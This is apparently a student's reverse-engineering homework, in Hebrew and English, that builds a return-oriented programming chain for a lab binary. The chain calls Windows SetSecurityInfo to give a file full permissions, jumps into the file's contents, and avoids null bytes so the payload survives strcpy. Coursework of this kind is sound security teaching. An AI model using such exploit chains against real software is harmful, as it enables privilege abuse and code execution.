**תרגיל בית 4 בהנדסה לאחור**

Vulnerabilities

דרור כרמון 036861292

עידו מנגר 212324313

חלק יבש

1. יתכן שרצף הפקודות 60 C3 הוא חלק מפקודה ארוכה יותר שתחילתה כתובת נמוכה מ- 0x9ad9e71c אבל כאשר מפרשים אותה מהכתובת הנ"ל היא מתורגמת לפעולות שהתקבלו. למשל הפקודה המלאה בגודל 3 בתים היא 24 60 C3 והיא מתורגמת לפקודות:

0x9ad9e71b:  24 60      and    al,0x60  
0x9ad9e71d:  c3         ret

2) נשתמש בפונקציה SetSecurityInfo של windows כדי לשנות הרשאות לקובץ

Part1-

9ad9e700- 3 pops for 3 args

70707070- file handler

00000001- SE\_OBJECT\_TYPE Enum value that means FILE\_OBJECT

11111111- Security information parameter, we want permissions will be set all to 1 including read/write

# SetSecurityInfo -windows function that sets the security info of the file to what we gave it- we now should have all of the permissions

# Part 2-

# 9ad9e71a -Pop edi- edi will be the address to pop 3 items from the stack

# 9ad9e700 - Pop 3 from the stack

# 9ad9e713- Pop 2 from the stack- put the address in ebx

# 7070 707C- the id minus F plus 27

# Ffffffff-filler

# 9ad9e706-will zero eax

# 9ad9e700- put ebx in eax

# 9ad9e713- Pop 2- skip next 2 lines

# Ffffffff

# ffffffff

# 9ad9e716-Derefrence eax+0fh- eax will be the address of the file

# 9ad9e71c-Pushad -this command will push all of the registers, this will become eax,edi is pop 3, which will pop 3 from the stack and then jump to esp that we push(previous esp, meaning it will go back here,this will now be eax meaning that from here we will jump to the contents of eax that is the first page of t he file

1. כשstrcpy מקבל null char הוא מסיים את הקליטה ומפרש את זה כסוף הקלט, בגלל שאנחנו מכניסים תווים כאלה בחלק הראשון, הקלט יפסק שם ומה שהכנסנו לא ימשיך לדרוס את המחסנית.
2. בשביל לתקן את זה נרצה להשתמש בגאדגטים החדשים כל פעם ששמנו null char כדי להמנע מלשים null shar,

הכתובת 9ad9e700 היא הבעייתית, אם נשים 1AD9E6FF נפעיל עליו את הגאדגט השני ואז את הראשון אז נקבל את הכתובת לכן נשים בהתחלה במקום הכתובת את הקטע הבא-

6ad6e720-not

9ad9e711-will call the next line

6ad6e71d-neg

1AD9E6FF-eventually will become the address we want

החלק הבעייתי האחר הוא ה 00000001 של הenum

שבמקרה הוא שווה ערך לnot fffffffd – נרצה להשתמש בגאדג'ט השני שלנו, נשים לב שמקודם הייתה לנו שורה שרק דילגנו עליה, עכשיו נחליף אותה בפעולה ובגלל שהיא מדלגת על שני כתובות היא תפעל על המקום שאנו רוצים

6ad6e720-not

6ad6e720-will call the next line

6ad6e71d-neg

1AD9E6FF-eventually will become the address we want  
fffffffd- will become the enum we want

On the second part we also need

6ad6e720-not

9ad9e711-will call the next line

6ad6e71d-neg

1AD9E6FF-eventually will become the address we want

Instead of 9ad9e700 in the second place it shows, in the first place we will change it to: 9ad9e713 - Pop 2 from the stack- now it will go to ebp instead esp and then instead of ffffffff filler when we call the pop ebx ebp gadget we will put in ebp the inc 1 gadget which will make it advance one line and then jump to esp, since it increases eax by 1 we will also need start eax from 1 less**.**

**חלק רטוב**